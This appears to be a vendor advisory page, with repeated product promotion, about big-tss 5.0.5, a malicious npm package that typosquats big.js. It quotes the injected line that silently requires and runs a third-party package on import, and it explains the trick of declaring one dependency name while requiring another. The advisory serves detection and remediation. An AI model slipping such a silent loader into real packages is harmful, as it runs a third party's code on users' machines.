Which versions of big-tss are malicious?

The following npm versions of big-tss are flagged malicious: 5.0.5. Treat any of these as compromised.

How do I remediate big-tss if I installed it?

big-tss is a typosquat — you almost certainly intended a legitimately-named package. Remove big-tss, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.

I already installed big-tss — how do I know if it already compromised me?

If big-tss was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

Is big-tss part of a known attack campaign?

Yes — big-tss is associated with the IN-MAL-2026-017104 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find big-tss across my projects, lockfiles, and CI pipelines?

Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for big-tss (version 5.0.5). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging big-tss across your stack and pipelines.

Malicious package

big-tssnpm

big-tss is a confirmed malicious npm package (MAL-2026-13613) that typosquats a legitimate package to trick installs (malicious version 5.0.5). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in big-tss (npm)

MAL-2026-13613

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall big-tss

What this malware does

[email protected] impersonates the popular big.js arbitrary-precision math library and ships upstream big.js source with an injected block at the top of the main module: try { const doc = require("npm-doc-dev"); doc.from_str() } catch (error) {}. On any require('big-tss') this synchronously loads and executes the top-level code of npm-doc-dev — a package outside the big.js publisher — and calls a method on it, with a bare try/catch swallowing any failure so the load is silent. The package.json declares a different dependency name, npm-dc-dev, than the code actually requires (npm-doc-dev), so the declared dependency tree does not reflect the module that is actually loaded at import time. The name resemblance to big.js, the divergence between declared and required dependency names, and the empty catch around the injected require together form a trojan-dropper pattern in which arbitrary code from a third party is executed on the installer's machine whenever a consumer imports the package.

Malicious versions

1 flagged

5.0.5

Indicators of compromise (SHA-256)

022f32d17f1b3fa4c33727aa2309fe4e75706c842ac04b25a48738fdb9aa3d2b

Detection & response playbook

Typosquat

Find it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for big-tss (version 5.0.5). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging big-tss across your stack and pipelines.
If you installed it — respond
big-tss is a typosquat — you almost certainly intended a legitimately-named package. Remove big-tss, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.
Did it already run?
If big-tss was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks big-tss before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. big-tss on npm has been identified as a malicious package (version 5.0.5 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-017104

References

npmjs.com

Credits

Amazon Inspector · finder

Detect & block this

O3 blocks big-tss-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.

Malware detection Runtime egress monitoring

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